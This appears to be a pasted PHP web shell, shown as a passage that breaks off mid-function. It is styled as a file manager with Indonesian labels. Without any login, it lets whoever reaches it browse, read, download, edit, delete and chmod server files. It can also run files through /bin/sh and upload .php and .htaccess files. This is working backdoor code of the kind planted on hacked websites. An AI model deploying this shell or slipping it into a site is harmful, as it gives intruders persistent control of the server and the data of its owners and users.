· 8 years ago · Mar 14, 2018, 01:32 PM
1<?php
2$lang = 'en';
3$homedir = $_SERVER['DOCUMENT_ROOT'];
4$editcols = 80;
5$editrows = 25;
6$htaccess = '.htaccess';
7$htpasswd = '.htpasswd';
8if (get_magic_quotes_gpc()) { array_walk($_GET, 'strip'); array_walk($_POST, 'strip'); array_walk($_REQUEST, 'strip'); }
9if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); die(getimage($_GET['image'])); }
10if (!function_exists('lstat')) { function lstat ($filename) { return stat($filename); } }
11$delim = DIRECTORY_SEPARATOR;
12if (function_exists('php_uname')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; } else { $win = ($delim == '\\') ? true : false; }
13if (!empty($_SERVER['PATH_TRANSLATED'])) { $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); } elseif (function_exists('getcwd')) { $scriptdir = getcwd(); } else { $scriptdir = '.'; }
14$homedir = relative2absolute($homedir, $scriptdir);
15$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
16if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { $dir = relative2absolute($dir, $_POST['olddir']); }
17$directory = simplify_path(addslash($dir));
18$files = array();
19$action = '';
20if (!empty($_POST['submit_all'])) { $action = $_POST['action_all']; for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { $files[] = $_POST["file$i"]; } } } elseif (!empty($_REQUEST['action'])) { $action = $_REQUEST['action']; $files[] = relative2absolute($_REQUEST['file'], $directory); } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { $files[] = $_FILES['upload']; $action = 'upload'; } elseif (array_key_exists('num', $_POST)) { for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("submit$i", $_POST)) break; } if ($i < $_POST['num']) { $action = $_POST["action$i"]; $files[] = $_POST["file$i"]; } } if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { $files[] = relative2absolute($_POST['create_name'], $directory); switch ($_POST['create_type']) { case 'directory': $action = 'create_directory'; break; case 'file': $action = 'create_file'; } } if (sizeof($files) == 0) $action = ''; else $file = reset($files); if ($lang == 'en') { if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } else { $lang = 'en'; } }
21$words = getwords($lang);
22
23
24
25$cols = ($win) ? 4 : 7;
26
27if (!isset($dirpermission)) { $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; } if (!isset($filepermission)) { $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; } if (!empty($_SERVER['SCRIPT_NAME'])) { $self = html(basename($_SERVER['SCRIPT_NAME'])); } elseif (!empty($_SERVER['PHP_SELF'])) { $self = html(basename($_SERVER['PHP_SELF'])); } else { $self = ''; } if (!empty($_SERVER['SERVER_SOFTWARE'])) { if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { $apache = true; } else { $apache = false; } } else { $apache = true; }
28if (@$_POST['MultiUp']=="MultiUp") {
29$valid_formats = array("jpg", "png", "gif", "zip", "bmp" , "html" , "php" , "htm" , "css", "txt", "xml", "xsl", "htaccess","js","sql");
30$max_file_size = 1024*1024;
31if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST"){ $lokasi_dir = $_POST['lokasi_dir']; $path = "".$lokasi_dir.""; foreach ($_FILES['files']['name'] as $f => $name) { if ($_FILES['files']['error'][$f] == 4) { continue; } if ($_FILES['files']['error'][$f] == 0) { if ($_FILES['files']['size'][$f] > $max_file_size) { $pesan1[] = "$name is too large!."; continue; } elseif( ! in_array(pathinfo($name, PATHINFO_EXTENSION), $valid_formats) ){ $pesan1[] = "$name is not a valid format"; continue; } else{ if(move_uploaded_file($_FILES["files"]["tmp_name"][$f], $path.$name)) { $pesan2[] = 'sukses'; } } } } } }
32switch ($action) {
33case 'view':
34 if (is_script($file)) {
35 ob_start();
36 highlight_file($file);
37 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
38 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
39 ob_end_clean();
40 html_header();
41 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
42<hr />
43<table>
44<tr>
45<td style="text-align: right; vertical-align: top; color: lime; padding-right: 3pt; border-right: 1px solid lime">
46<pre style="margin-top: 0"><code>';
47 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
48 echo '</code></pre>
49</td>
50<td style="text-align: left; vertical-align: top; padding-left: 3pt">
51<pre style="margin-top: 0">' . $src . '</pre>
52</td>
53</tr>
54</table>
55
56';
57 html_footer();
58 } else {
59
60 header('Content-Type: ' . getmimetype($file));
61 header('Content-Disposition: filename=' . basename($file));
62 readfile($file);
63
64 }
65
66 break;
67
68case 'download':
69 header('Pragma: public');
70 header('Expires: 0');
71 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
72 header('Content-Type: ' . getmimetype($file));
73 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
74 header('Content-Length: ' . filesize($file));
75 readfile($file);
76 break;
77
78case 'upload':
79 $dest = relative2absolute($file['name'], $directory);
80 if (@move_uploaded_file($file['tmp_name'], $dest)) {
81 @chmod($dest, $filepermission);
82 listing_page(notice('uploaded', $file['name']));
83 } else {
84 listing_page(error('not_uploaded', $file['name']));
85 }
86 break;
87
88case 'create_directory':
89
90 if (@file_exists($file)) {
91 listing_page(error('already_exists', $file));
92 } else {
93 $old = @umask(0777 & ~$dirpermission);
94 if (@mkdir($file, $dirpermission)) {
95 listing_page(notice('created', $file));
96 } else {
97 listing_page(error('not_created', $file));
98 }
99 @umask($old);
100 }
101
102 break;
103
104case 'create_file':
105
106 if (@file_exists($file)) {
107 listing_page(error('already_exists', $file));
108 } else {
109 $old = @umask(0777 & ~$filepermission);
110 if (@touch($file)) {
111 edit($file);
112 } else {
113 listing_page(error('not_created', $file));
114 }
115 @umask($old);
116 }
117
118 break;
119
120case 'execute':
121
122 chdir(dirname($file));
123
124 $output = array();
125 $retval = 0;
126 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
127
128 $error = ($retval == 0) ? false : true;
129
130 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
131
132 if ($error) {
133 listing_page(error('not_executed', $file, implode("\n", $output)));
134 } else {
135 listing_page(notice('executed', $file, implode("\n", $output)));
136 }
137
138 break;
139
140case 'delete':
141
142 if (!empty($_POST['no'])) {
143 listing_page();
144 } elseif (!empty($_POST['yes'])) {
145
146 $failure = array();
147 $success = array();
148
149 foreach ($files as $file) {
150 if (del($file)) {
151 $success[] = $file;
152 } else {
153 $failure[] = $file;
154 }
155 }
156
157 $message = '';
158 if (sizeof($failure) > 0) {
159 $message = error('not_deleted', implode("\n", $failure));
160 }
161 if (sizeof($success) > 0) {
162 $message .= notice('deleted', implode("\n", $success));
163 }
164
165 listing_page($message);
166
167 } else {
168
169 html_header();
170
171 echo '<form method="post">
172<table class="dialog">
173<tr>
174<td class="dialog">
175';
176
177 request_dump();
178
179 echo "\t<b style='color:lime;'>" . word('really_delete') . '</b>
180 <p style="color:red;">
181';
182
183 foreach ($files as $file) {
184 echo "\t" . html($file) . "<br />\n";
185 }
186
187 echo ' </p>
188 <hr />
189 <input type="submit" name="no" value="GaK !" style="color:red;" />
190 <input type="submit" name="yes" value="Ya !" style="margin-left: 50px;color:green;" />
191</td>
192</tr>
193</table>
194</form>
195
196';
197
198 html_footer();
199
200 }
201
202 break;
203
204case 'rename':
205
206 if (!empty($_POST['destination'])) {
207
208 $dest = relative2absolute($_POST['destination'], $directory);
209
210 if (!@file_exists($dest) && @rename($file, $dest)) {
211 listing_page(notice('renamed', $file, $dest));
212 } else {
213 listing_page(error('not_renamed', $file, $dest));
214 }
215
216 } else {
217
218 $name = basename($file);
219
220 html_header();
221
222 echo '<form action="' . $self . '" method="post">
223
224<table class="dialog">
225<tr>
226<td class="dialog">
227 <input type="hidden" name="action" value="rename" />
228 <input type="hidden" name="file" value="' . html($file) . '" />
229 <input type="hidden" name="dir" value="' . html($directory) . '" />
230 <b>' . word('rename_file') . '</b>
231 <p>' . html($file) . '</p>
232 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
233 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
234 <hr />
235 <input type="submit" value="' . word('rename') . '" />
236</td>
237</tr>
238</table>
239
240<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
241
242</form>
243
244';
245
246 html_footer();
247
248 }
249
250 break;
251
252case 'move':
253
254 if (!empty($_POST['destination'])) {
255
256 $dest = relative2absolute($_POST['destination'], $directory);
257
258 $failure = array();
259 $success = array();
260
261 foreach ($files as $file) {
262 $filename = substr($file, strlen($directory));
263 $d = $dest . $filename;
264 if (!@file_exists($d) && @rename($file, $d)) {
265 $success[] = $file;
266 } else {
267 $failure[] = $file;
268 }
269 }
270
271 $message = '';
272 if (sizeof($failure) > 0) {
273 $message = error('not_moved', implode("\n", $failure), $dest);
274 }
275 if (sizeof($success) > 0) {
276 $message .= notice('moved', implode("\n", $success), $dest);
277 }
278
279 listing_page($message);
280
281 } else {
282
283 html_header();
284
285 echo '<form action="' . $self . '" method="post">
286
287<table class="dialog">
288<tr>
289<td class="dialog">
290';
291
292 request_dump();
293
294 echo "\t<b>" . word('move_files') . '</b>
295 <p>
296';
297
298 foreach ($files as $file) {
299 echo "\t" . html($file) . "<br />\n";
300 }
301
302 echo ' </p>
303 <hr />
304 ' . word('destination') . ':
305 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
306 <input type="submit" value="' . word('move') . '" />
307</td>
308</tr>
309</table>
310
311<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
312
313</form>
314
315';
316
317 html_footer();
318
319 }
320
321 break;
322
323case 'copy':
324
325 if (!empty($_POST['destination'])) {
326
327 $dest = relative2absolute($_POST['destination'], $directory);
328
329 if (@is_dir($dest)) {
330
331 $failure = array();
332 $success = array();
333
334 foreach ($files as $file) {
335 $filename = substr($file, strlen($directory));
336 $d = addslash($dest) . $filename;
337 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
338 $success[] = $file;
339 } else {
340 $failure[] = $file;
341 }
342 }
343
344 $message = '';
345 if (sizeof($failure) > 0) {
346 $message = error('not_copied', implode("\n", $failure), $dest);
347 }
348 if (sizeof($success) > 0) {
349 $message .= notice('copied', implode("\n", $success), $dest);
350 }
351
352 listing_page($message);
353
354 } else {
355
356 if (!@file_exists($dest) && @copy($file, $dest)) {
357 listing_page(notice('copied', $file, $dest));
358 } else {
359 listing_page(error('not_copied', $file, $dest));
360 }
361
362 }
363
364 } else {
365
366 html_header();
367
368 echo '<form action="' . $self . '" method="post">
369
370<table class="dialog">
371<tr>
372<td class="dialog">
373';
374
375 request_dump();
376
377 echo "\n<b>" . word('copy_files') . '</b>
378 <p>
379';
380
381 foreach ($files as $file) {
382 echo "\t" . html($file) . "<br />\n";
383 }
384
385 echo ' </p>
386 <hr />
387 ' . word('destination') . ':
388 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
389 <input type="submit" value="' . word('copy') . '" />
390</td>
391</tr>
392</table>
393
394<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
395
396</form>
397
398';
399
400 html_footer();
401
402 }
403
404 break;
405
406case 'create_symlink':
407
408 if (!empty($_POST['destination'])) {
409
410 $dest = relative2absolute($_POST['destination'], $directory);
411
412 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
413
414 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
415
416 if (!@file_exists($dest) && @symlink($file, $dest)) {
417 listing_page(notice('symlinked', $file, $dest));
418 } else {
419 listing_page(error('not_symlinked', $file, $dest));
420 }
421
422 } else {
423
424 html_header();
425
426 echo '<form action="' . $self . '" method="post">
427
428<table class="dialog" id="symlink">
429<tr>
430 <td style="vertical-align: top">' . word('destination') . ': </td>
431 <td>
432 <b>' . html($file) . '</b><br />
433 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
434 <label for="checkbox_relative">' . word('relative') . '</label>
435 <input type="hidden" name="action" value="create_symlink" />
436 <input type="hidden" name="file" value="' . html($file) . '" />
437 <input type="hidden" name="dir" value="' . html($directory) . '" />
438 </td>
439</tr>
440<tr>
441 <td>' . word('symlink') . ': </td>
442 <td>
443 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
444 <input type="submit" value="' . word('create_symlink') . '" />
445 </td>
446</tr>
447</table>
448
449<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
450
451</form>
452
453';
454
455 html_footer();
456
457 }
458
459 break;
460
461case 'edit':
462
463 if (!empty($_POST['save'])) {
464
465 $content = str_replace("\r\n", "\n", $_POST['content']);
466
467 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
468 listing_page(notice('saved', $file));
469 } else {
470 listing_page(error('not_saved', $file));
471 }
472
473 } else {
474
475 if (@is_readable($file) && @is_writable($file)) {
476 edit($file);
477 } else {
478 listing_page(error('not_edited', $file));
479 }
480
481 }
482
483 break;
484
485case 'permission':
486
487 if (!empty($_POST['set'])) {
488
489 $mode = 0;
490 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
491 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
492 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
493
494 if (@chmod($file, $mode)) {
495 listing_page(notice('permission_set', $file, decoct($mode)));
496 } else {
497 listing_page(error('permission_not_set', $file, decoct($mode)));
498 }
499
500 } else {
501
502 html_header();
503
504 $mode = fileperms($file);
505
506 echo '<form action="' . $self . '" method="post">
507
508<table class="dialog">
509<tr>
510<td class="dialog">
511
512 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
513
514 <hr />
515
516 <table id="permission">
517 <tr>
518 <td></td>
519 <td style="border-right: 1px solid black">' . word('owner') . '</td>
520 <td style="border-right: 1px solid black">' . word('group') . '</td>
521 <td>' . word('other') . '</td>
522 </tr>
523 <tr>
524 <td style="text-align: right">' . word('read') . ':</td>
525 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
526 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
527 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
528 </tr>
529 <tr>
530 <td style="text-align: right">' . word('write') . ':</td>
531 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
532 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
533 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
534 </tr>
535 <tr>
536 <td style="text-align: right">' . word('execute') . ':</td>
537 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
538 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
539 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
540 </tr>
541 </table>
542
543 <hr />
544
545 <input type="submit" name="set" value="' . word('set') . '" />
546
547 <input type="hidden" name="action" value="permission" />
548 <input type="hidden" name="file" value="' . html($file) . '" />
549 <input type="hidden" name="dir" value="' . html($directory) . '" />
550
551</td>
552</tr>
553</table>
554
555<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
556
557</form>
558
559';
560
561 html_footer();
562
563 }
564
565 break;
566
567default:
568
569 listing_page();
570
571}
572function getlist ($directory) {
573 global $delim, $win;
574
575 if ($d = @opendir($directory)) {
576
577 while (($filename = @readdir($d)) !== false) {
578
579 $path = $directory . $filename;
580
581 if ($stat = @lstat($path)) {
582
583 $file = array(
584 'filename' => $filename,
585 'path' => $path,
586 'is_file' => @is_file($path),
587 'is_dir' => @is_dir($path),
588 'is_link' => @is_link($path),
589 'is_readable' => @is_readable($path),
590 'is_writable' => @is_writable($path),
591 'size' => $stat['size'],
592 'permission' => $stat['mode'],
593 'owner' => $stat['uid'],
594 'group' => $stat['gid'],
595 'mtime' => @filemtime($path),
596 'atime' => @fileatime($path),
597 'ctime' => @filectime($path)
598 );
599
600 if ($file['is_dir']) {
601 $file['is_executable'] = @file_exists($path . $delim . '.');
602 } else {
603 if (!$win) {
604 $file['is_executable'] = @is_executable($path);
605 } else {
606 $file['is_executable'] = true;
607 }
608 }
609
610 if ($file['is_link']) $file['target'] = @readlink($path);
611
612 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
613 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
614
615 $files[] = $file;
616
617 }
618
619 }
620
621 return $files;
622
623 } else {
624 return false;
625 }
626
627}
628
629function sortlist ($list, $key, $reverse) {
630
631 $dirs = array();
632 $files = array();
633
634 for ($i = 0; $i < sizeof($list); $i++) {
635 if ($list[$i]['is_dir']) $dirs[] = $list[$i];
636 else $files[] = $list[$i];
637 }
638
639 quicksort($dirs, 0, sizeof($dirs) - 1, $key);
640 if ($reverse) $dirs = array_reverse($dirs);
641
642 quicksort($files, 0, sizeof($files) - 1, $key);
643 if ($reverse) $files = array_reverse($files);
644
645 return array_merge($dirs, $files);
646
647}
648
649function quicksort (&$array, $first, $last, $key) {
650
651 if ($first < $last) {
652
653 $cmp = $array[floor(($first + $last) / 2)][$key];
654
655 $l = $first;
656 $r = $last;
657
658 while ($l <= $r) {
659
660 while ($array[$l][$key] < $cmp) $l++;
661 while ($array[$r][$key] > $cmp) $r--;
662
663 if ($l <= $r) {
664
665 $tmp = $array[$l];
666 $array[$l] = $array[$r];
667 $array[$r] = $tmp;
668
669 $l++;
670 $r--;
671
672 }
673
674 }
675
676 quicksort($array, $first, $r, $key);
677 quicksort($array, $l, $last, $key);
678
679 }
680
681}
682
683function permission_octal2string ($mode) {
684
685 if (($mode & 0xC000) === 0xC000) {
686 $type = 's';
687 } elseif (($mode & 0xA000) === 0xA000) {
688 $type = 'l';
689 } elseif (($mode & 0x8000) === 0x8000) {
690 $type = '-';
691 } elseif (($mode & 0x6000) === 0x6000) {
692 $type = 'b';
693 } elseif (($mode & 0x4000) === 0x4000) {
694 $type = 'd';
695 } elseif (($mode & 0x2000) === 0x2000) {
696 $type = 'c';
697 } elseif (($mode & 0x1000) === 0x1000) {
698 $type = 'p';
699 } else {
700 $type = '?';
701 }
702
703 $owner = ($mode & 00400) ? 'r' : '-';
704 $owner .= ($mode & 00200) ? 'w' : '-';
705 if ($mode & 0x800) {
706 $owner .= ($mode & 00100) ? 's' : 'S';
707 } else {
708 $owner .= ($mode & 00100) ? 'x' : '-';
709 }
710
711 $group = ($mode & 00040) ? 'r' : '-';
712 $group .= ($mode & 00020) ? 'w' : '-';
713 if ($mode & 0x400) {
714 $group .= ($mode & 00010) ? 's' : 'S';
715 } else {
716 $group .= ($mode & 00010) ? 'x' : '-';
717 }
718
719 $other = ($mode & 00004) ? 'r' : '-';
720 $other .= ($mode & 00002) ? 'w' : '-';
721 if ($mode & 0x200) {
722 $other .= ($mode & 00001) ? 't' : 'T';
723 } else {
724 $other .= ($mode & 00001) ? 'x' : '-';
725 }
726
727 return $type . $owner . $group . $other;
728
729}
730
731function is_script ($filename) {
732 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
733}
734
735function getmimetype ($filename) {
736 static $mimes = array(
737 '\.jpg$|\.jpeg$' => 'image/jpeg',
738 '\.gif$' => 'image/gif',
739 '\.png$' => 'image/png',
740 '\.html$|\.html$' => 'text/html',
741 '\.txt$|\.asc$' => 'text/plain',
742 '\.xml$|\.xsl$' => 'application/xml',
743 '\.pdf$' => 'application/pdf'
744 );
745
746 foreach ($mimes as $regex => $mime) {
747 if (eregi($regex, $filename)) return $mime;
748 }
749
750 // return 'application/octet-stream';
751 return 'text/plain';
752
753}
754
755function del ($file) {
756 global $delim;
757 if (!file_exists($file)) return false;
758 if (@is_dir($file) && !@is_link($file)) {
759 $success = false;
760 if (@rmdir($file)) {
761 $success = true;
762 } elseif ($dir = @opendir($file)) {
763 $success = true;
764 while (($f = readdir($dir)) !== false) {
765 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
766 $success = false;
767 }
768 }
769 closedir($dir);
770 if ($success) $success = @rmdir($file);
771 }
772 return $success;
773 }
774 return @unlink($file);
775}
776function addslash ($directory) {
777 global $delim;
778 if (substr($directory, -1, 1) != $delim) {
779 return $directory . $delim;
780 } else {
781 return $directory;
782 }
783}
784function relative2absolute ($string, $directory) {
785 if (path_is_relative($string)) {
786 return simplify_path(addslash($directory) . $string);
787 } else {
788 return simplify_path($string);
789 }
790}
791function path_is_relative ($path) {
792 global $win;
793 if ($win) {
794 return (substr($path, 1, 1) != ':');
795 } else {
796 return (substr($path, 0, 1) != '/');
797 }
798}
799function absolute2relative ($directory, $target) {
800 global $delim;
801 $path = '';
802 while ($directory != $target) {
803 if ($directory == substr($target, 0, strlen($directory))) {
804 $path .= substr($target, strlen($directory));
805 break;
806 } else {
807 $path .= '..' . $delim;
808 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
809 }
810 }
811 if ($path == '') $path = '.';
812 return $path;
813}
814function simplify_path ($path) {
815 global $delim;
816 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
817 $path = realpath($path);
818 if (@is_dir($path)) {
819 return addslash($path);
820 } else {
821 return $path;
822 }
823 }
824
825 $pattern = $delim . '.' . $delim;
826
827 if (@is_dir($path)) {
828 $path = addslash($path);
829 }
830
831 while (strpos($path, $pattern) !== false) {
832 $path = str_replace($pattern, $delim, $path);
833 }
834
835 $e = addslashes($delim);
836 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
837
838 while (ereg($regex, $path)) {
839 $path = ereg_replace($regex, $delim, $path);
840 }
841
842 return $path;
843
844}
845
846function human_filesize ($filesize) {
847
848 $suffices = 'kMGTPE';
849
850 $n = 0;
851 while ($filesize >= 1000) {
852 $filesize /= 1024;
853 $n++;
854 }
855
856 $filesize = round($filesize, 3 - strpos($filesize, '.'));
857
858 if (strpos($filesize, '.') !== false) {
859 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
860 $filesize = substr($filesize, 0, strlen($filesize) - 1);
861 }
862 }
863
864 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
865
866 return $filesize . " {$suffix}B";
867
868}
869
870function strip (&$str) {
871 $str = stripslashes($str);
872}
873
874function listing_page ($message = null) {
875 global $self, $directory, $sort, $reverse;
876
877 html_header();
878
879 $list = getlist($directory);
880
881 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
882 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
883
884 echo '<form enctype="multipart/form-data" method="post"><table id="main">';
885
886 directory_choice();
887
888 if (!empty($message)) {
889 spacer();
890 echo $message;
891 }
892
893 if (@is_writable($directory)) {
894 upload_box();
895 create_box();
896 } else {
897 spacer();
898 }
899
900 if ($list) {
901 $list = sortlist($list, $sort, $reverse);
902 listing($list);
903 } else {
904 echo error('not_readable', $directory);
905 }
906
907 echo '</table>
908
909</form>
910
911';
912
913 html_footer();
914
915}
916
917
918
919
920
921function listing ($list) {
922 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
923 echo '<tr class="listing">
924 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
925';
926 column_title('filename', $sort, $reverse);
927 column_title('size', $sort, $reverse);
928 if (!$win) {
929 column_title('permission', $sort, $reverse);
930 column_title('owner', $sort, $reverse);
931 column_title('group', $sort, $reverse);
932 }
933 echo ' <th class="functions">' . word('functions') . '</th>
934</tr>
935';
936 for ($i = 0; $i < sizeof($list); $i++) {
937 $file = $list[$i];
938 echo '<tr class="listing">
939 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
940 <td class="filename">';
941 if ($file['is_link']) {
942 echo '<img src="' . $self . '?image=link" alt="link" /> ';
943 echo html($file['filename']) . ' → ';
944 $real_file = relative2absolute($file['target'], $directory);
945 if (@is_readable($real_file)) {
946 if (@is_dir($real_file)) {
947 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
948 } else {
949 echo '<a title="VIEW" target="_blank" href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>
950 <span style="color:white;">→</span> <a title="DOWNLOAD" target="_blank" href="?action=download&file=' . html($file['path']) . '" style="color:lime;">DL</a>
951 <span style="color:white;">→</span> <a title="EDIT" target="_blank" href="?action=edit&file=' . html($file['path']) . '" style="color:#e24912;">EDT</a>
952 <span style="color:white;">→</span> <a title="EDIT" target="_blank" href="?action=delete&file=' . html($file['path']) . '" style="color:red;">DEL</a>
953 ';
954 }
955 } else {
956 echo html($file['target']);
957 }
958 } elseif ($file['is_dir']) {
959 echo '<img src="' . $self . '?image=folder" alt="folder" /> ';
960 if ($win || $file['is_executable']) {
961 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '" style="color:lime;">' . html($file['filename']) . '</a>';
962 } else {
963 echo html($file['filename']);
964 }
965 } else {
966 if (substr($file['filename'], 0, 1) == '.') {
967 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
968 } else {
969 echo '<img src="' . $self . '?image=file" alt="file" /> ';
970 }
971 if ($file['is_file'] && $file['is_readable']) {
972 echo '<a title="VIEW" target="_blank" href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>
973 <span style="color:white;">→</span> <a title="DOWNLOAD" target="_blank" href="?action=download&file=' . html($file['path']) . '" style="color:lime;">DL</a>
974 <span style="color:white;">→</span> <a title="EDIT" target="_blank" href="?action=edit&file=' . html($file['path']) . '" style="color:#e24912;">EDT</a>
975 <span style="color:white;">→</span> <a title="EDIT" target="_blank" href="?action=delete&file=' . html($file['path']) . '" style="color:red;">DEL</a>
976 ';
977 } else {
978 echo html($file['filename']);
979 }
980 }
981 if ($file['size'] >= 1000) {
982 $human = ' title="' . human_filesize($file['size']) . '"';
983 } else {
984 $human = '';
985 }
986 echo "</td>\n";
987 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
988 if (!$win) {
989 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
990 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
991 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
992 echo html(permission_octal2string($file['permission']));
993 if ($l) echo '</a>';
994 echo "</td>\n";
995 if (array_key_exists('owner_name', $file)) {
996 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
997 } else {
998 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
999 }
1000 if (array_key_exists('group_name', $file)) {
1001 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1002 } else {
1003 echo "\t<td class=\"group\">{$file['group']}</td>\n";
1004 }
1005 }
1006 echo ' <td class="functions">
1007 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1008';
1009 $actions = array();
1010 if (function_exists('symlink')) {
1011 $actions[] = 'create_symlink';
1012 }
1013 if (@is_writable(dirname($file['path']))) {
1014 $actions[] = 'delete';
1015 $actions[] = 'rename';
1016 $actions[] = 'move';
1017 }
1018 if ($file['is_file'] && $file['is_readable']) {
1019 $actions[] = 'copy';
1020 $actions[] = 'download';
1021 if ($file['is_writable']) $actions[] = 'edit';
1022 }
1023 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1024 $actions[] = 'execute';
1025 }
1026 if (sizeof($actions) > 0) {
1027 echo ' <select class="small" name="action' . $i . '" size="1">
1028 <option value="">' . str_repeat(' ', 30) . '</option>
1029';
1030 foreach ($actions as $action) {
1031 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1032 }
1033 echo ' </select>
1034 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
1035';
1036 }
1037 echo ' </td>
1038</tr>
1039';
1040 }
1041
1042 echo '<tr class="listing_footer">
1043 <td style="text-align: right; vertical-align: top"></td>
